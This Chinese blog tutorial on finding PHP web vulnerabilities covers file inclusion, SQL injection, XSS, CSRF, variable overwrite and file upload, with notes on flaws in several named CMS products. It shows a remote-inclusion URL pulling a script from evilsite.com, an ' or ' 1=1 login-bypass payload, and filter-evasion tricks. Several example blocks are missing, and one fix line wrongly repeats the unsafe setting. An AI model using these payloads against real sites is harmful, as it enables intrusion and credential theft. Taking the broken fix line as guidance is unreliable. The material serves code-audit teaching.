0x00 背景

感谢各位的评论与讨论,经过研讨的地方在文章中标出。

补充之前第一篇文章中思路,重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞,漏洞归属原作者并均在文章内标明)

在文章中的测试条件下,我们的配置默认是这样子的:

safe_mode = off (避免各种奇奇怪怪的失败);disabled_functions = N/A ( 可以使用全部函数,免得莫名其妙的不能用 );register_globals = on ( 注册全局变量 );allow_url_include = on ( 文件包含时的限制,如果关了就不能远程 ); allow_url_fopen = on ( 文件打开的限制,还是开着吧 ) ;magic_quotes_gpc = off ( 转义引号和划线和空字符,比如” 变成“ );short_tag_open = on ( 部分脚本会用到 ) ;file_uploads = on ( 任意文件上传需要……允许上传文件 ); display_errors = on ( 自己测试时方便,找错误 ) 。

**

0x01 任意文件包含

**

前提:允许url_include,否则就需要上传到绝对路径。

提示:可以使用空字节(截断)的技巧,和“?”问号的使用技巧。

php中有四个函数与文件包含有关:

require require_once 只包含一次 include include_once 只包含一次。

使用空字节的例子:

使用“?”问号的例子:

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

如何修复:allow_url_include = on allow_url_fopen = on

简单来说:不要允许特殊字符出现,过滤“/”,或者过滤http,https,ftp和SMB

再举一个乌云上Frears的例子:

还有一些特殊的思路,比如Joker的构造:

挖掘的可能方法:全局搜索四个函数,先只管出现在文件中间的require等前后文是否有严格的验证,之后在通读时注意文件前部的include。

**

0x02 本地文件包含

**

提示:在windows系统下面我们可以用 ".." 来代替 "../" 即 "..%5C" ( url编码后 )。

利用的例子:

修复方式:过滤点和斜杠。

**

0x03 任意文件下载

**

前提:url_fopen为on时才能打开远程文件,但一般意义上的任意文件下载不是“远程“的,

相比上一篇文章补充:

file_get_contents 读取整个文件到字符串中;readfile 显示整个文件;file 读进数组;fopen 打开文件或URL; highlight_file 高亮显示源码;show_source 显示源代码。

例子同上一篇文章。

**

0x04 SQL注入

**

前提:magic_quotes_gpc = off 当然指的是字符型的注射,如果是数字型就仍然可以盲注。

补充登陆绕过的情况:

这时利用时会方便很多:username : admin ' or ' 1=1 password : sirgod

挖掘方法:在登陆逻辑处发现注射,不急着跑表,可以考虑绕过登陆。

**

0x05 命令执行

**

具体请参考《高级PHP应用程序漏洞审核技术》(Ph4nt0m Security Team)

**

0x06 跨站脚本漏洞XSS

**

fromCharCode用来绕过addslashes。

挖掘方法:关注负责输出的代码,牢记之前程序处理变量的一般逻辑(过滤html标签的力度?)。

**

0x07 变量覆盖

**

前提:需要register_gloabals = on

免认证即登陆。

**

0x08 admin节点可被越权访问

**

http://127.0.0.1/admin/files.php http://127.0.0.1/admin/db_lookup.php

http://127.0.0.1/admin/files.php http://127.0.0.1/admin/db_lookup.php

若是无身份验证直接就能访问,可能存在此漏洞。

挖掘方法:先开register_gloabals = on ,然后留意第一次出现的变量。

**

0x09 跨站点请求伪造CSRF

**

前提:没有token 一般结合XSS来做。

会导致文件删除,当然,需要过check_auth,不过在CSRF下不是问题,

关键是在于操作没有任何类型的确认,只要提交请求即可见效。

**

0x10 参考文献

**

部分内容参考自【英文】 http://www.exploit-db.com/papers/12871/ Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod

以下是最新自己发现的例子

**

0x11 CSCMS V3.5 最新版 SQL注射

**

**

0x12 MacCMS 全版本通杀SQL注射(包括最新7.x)

**

也是重构了代码,加入了360的防护脚本,其实在我发上一个漏洞(6.x)时这个7.x刚好发布,我稍微看了一眼,发现有360防护脚本后就不看了,以为他们肯定全都过滤掉了,直到…… 比较有趣的是他们根本没有在referer上使用360的获取方式,而是直接return $_SERVER["HTTP_REFERER"]; 了 因此提醒大家,代码审计就是要仔细,就是要有超人般的耐心,不要想当然。

**

0x13 WanCMS 可修改任意用户密码

**

终于又发现了一个敏感业务逻辑上的漏洞

唠叨两句密码学:

MD5、SHA 是哈希函数,知道$a后容易知道md5($a),而知道md5($a)难以恢复$a Des 是对称密码,加解密使用同一个密钥。

这里的密码重置链接 使用的是MD5(两遍),但是用户名我们是知道的,因此直接就能伪造,这也说明了md5并不是用来加密的,应该用DES或者……更常见的方法是MD5中的用户名再加入密码和随机数,或者干脆随机一串字符好了。

**

0x14 WanCMS 多处SQL注射

**

又是一个框架中注射的例子......

之前username没有过滤,虽然看着和带着SELECT的完整SQL语句有区别,但是效果是一样的

**

0x15 CSCMS V3.5 最新补丁后又一个SQL注射

**

这个就是一个厂商漏补的addslash+无引号盲注但是比较有新意的是,他们好像有一阵是用的magic_quotes_gpc来处理的,只是给数字补上了好多的引号,而且还漏了几个……

**

0x16 TCCMS (最新)8.0 后台GETSHELL

**

任意文件上传,前提是upload为ON。

居然直接从POST里面取。

一般情况下应该是uuid随机数名称,或者至少去不可见字符强加后缀。

直接从POST中取值的下场就是任意文件上传。

**

0x17 iSiteCMS发布安全补丁后仍然有几处注射漏洞

**

这个注射有一个特别之处,就是过滤了逗号(,),因此跑表时非常不顺利,需要想其他的方法来验证危害

没错,这一句干掉了逗号。

解决方案:不跑表了,试着构造错误回显(因为常规那页面是没有回显的)直接爆管理员密码。

思路总结:变量到达第一个注射语句没有逗号无法突破无法回显,坚持继续读,程序能继续运行,然后发现下面还有一句也会被注射到,然后注射到的结果又拼接到另一个SQL语句中,而报错又是开启状态,因此构造一下在SQL报错的地方回显出密码。

**

0x18 CSCMS V3.5 最新版 后台命令执行GETSHELL

**

php越权执行命令漏洞_PHP漏洞挖掘思路+实例 第二章相关推荐

  1. 常见支付漏洞挖掘思路

    今天继续给大家介绍渗透测试相关知识,本文主要内容是常见支付漏洞挖掘思路. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权 ...

  2. 命令执行——命令执行漏洞概述(一)

    普及内容 了解命令执行定义 了解命令执行条件 掌握命令执行成因 了解命令执行危害 掌握命令执行实例 掌握管道符号和通用命令符 了解命令执行常见场景 基础概念 命令执行定义 基本定义 命令执行漏洞是指攻 ...

  3. php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

    PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033 影响版本:PHPMailer< 5.2.18 漏洞级别: 高危 漏洞POC: PHPMa ...

  4. war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...

    概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...

  5. 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁

    Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...

  6. pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)

    目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...

  7. 命令执行(RCE)漏洞

    RCE简介 RCE(remote command/code execute):远程命令/代码执行. 命令执行漏洞: 直接调用操作系统命令. 代码执行漏洞: 靠执行脚本代码调用操作系统命令. 原因:在W ...

  8. xss挖掘思路分享_新手指南 | permeate靶场漏洞挖掘思路分享

    简介 最近在逛码云时候发现permeat靶场系统,感觉界面和业务场景设计的还不错.所以过来分享一下. 同时也是分享一下我平时挖掘漏洞的一些思路吧,这篇文章里虽然只简单介绍其中三种漏洞类型,但也是想是一 ...

  9. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

最新文章

  1. AI时代竟有智能化鸿沟,具备哪些条件才能跨过?
  2. 【Python】Python+Matplotlib+LaTeX玩转数学公式
  3. 树莓派 st-link master使用ST-LINK V2下载STM32程序 支持F0 F1 F2 等
  4. leetcode 《简单》 设计问题 Python实现
  5. tar:归档中找不到 tar: 由于前次错误,将以上次的错误状态退出
  6. 竞价实例-让ESS省上加省
  7. 光谱数据处理及定量分析
  8. [Hadoop] - Win7下提交job到集群上去
  9. Photoshop制作印章效果
  10. 集成运算放大器的应用——放大、加减、跟随、(滞回)比较器、阻抗匹配
  11. Win7获取目录或文件trustedinstaller权限的方法
  12. Android 在系统启动时设置声卡权限,[RK3288][Android7.1]强制使用默认声卡播放声音...
  13. ios订阅的升级和降级
  14. 关于华硕电脑进入bios
  15. 做笔记的方法—— 推荐笔记方法Word方式
  16. 支付宝扫码跳转到跳转页面
  17. 【linux】已加载插件:fastestmirror, langpacks Loading mirror speeds from cached hostfile
  18. buck dcm占空比计算_如何计算BOOST转换器的占空比
  19. 微信群发工具-含源代码分享
  20. 英文外链怎么做效果好?

热门文章

  1. 相机景深什么意思_景深预览按钮在相机上有什么作用?
  2. python 三大器
  3. 全志A40I方案 全志A40I方案定制 全志A40I软硬件设计定制 全志A40i性能如何
  4. IOS小组件(4-2):创建可配置小组件(动态修改配置数据)
  5. 室内空气流动原理图_新风系统工作原理图—新风系统工作原理介绍
  6. 未来五年最赚钱的不是股市、房地产,而是......
  7. c9计算机专业考研哪个容易,二本考研考C9是什么难度?有可能吗?
  8. 苹果刷机验证服务器异常,iPhone刷机报错怎么办?你需要这份iPhone报错代码故障判断...
  9. C++第一天(编写第一个程序,变量与常量)
  10. 小傻蛋的妹妹跟随小甲鱼学习Python的第九节009